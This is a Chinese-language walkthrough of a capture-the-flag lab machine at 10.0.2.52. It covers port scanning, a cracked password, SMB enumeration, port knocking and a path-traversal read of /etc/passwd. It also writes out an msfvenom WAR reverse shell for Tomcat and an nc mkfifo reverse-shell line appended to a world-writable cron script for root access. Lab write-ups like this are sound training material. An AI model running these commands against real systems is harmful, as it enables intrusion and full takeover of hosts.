nmap扫描主机和开放的端口
靶机IP:10.0.2.52
进入8080端口
发现 host-manager需要输入用户名和密码
gobuster扫描
进入robots
进入上述目录
放在解密网站里解密
It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting silly passwords that will get cracked with any decent password list.
Once, we found the password "password", quite literally sticking on a post-it in front of an employee's desk! As silly as it may be, the employee pleaded for mercy when we threatened to fire her.
No fluffy bunnies for those who set insecure passwords and endanger the enterprise.
得到一个密码password,尝试利用admin:password登录manager,发现不可行
enum4linux爆破smb服务
尝试用password的密码以及上面的用户名登录,发现qiu:password可以登录成功
下载文件夹里的文件,查看,在config里面发现信息
利用knock敲门,打开http服务
knock -v 10.0.2.52 159 27391 4
再次扫描端口
进入80端口的robots.txt文件
进入上面的目录,在第二个文件里发现信息
搜索rips相关的漏洞
查看第二个文件
直接访问上面的文件
访问passwd文件
http://10.0.2.52/nomercy/windows/code.php?file=/../../../../../../etc/passwd
注意上面得到的一句话
访问上述文件
在最下面的得到了用户名和密码,拿去访问8080端口的manager目录,发现可行
msfvenom生成war反弹shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f war > 123.war
直接部署在tomcat里面,然后msf提前开启监听,payload就用上面的,然后即可得到shell
根据上面得到的fluffy:freakishfluffybunny,切换fluffy用户,查看当前文件
发现timeclock文件是777的权限,有两种方法,可以写入反弹shell,获取root权限,也可以写入添加一个root权限的用户到passwd文件里
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.0.2.4 888 >/tmp/f" >> timeclock
kali提前开启监听,即可得到root权限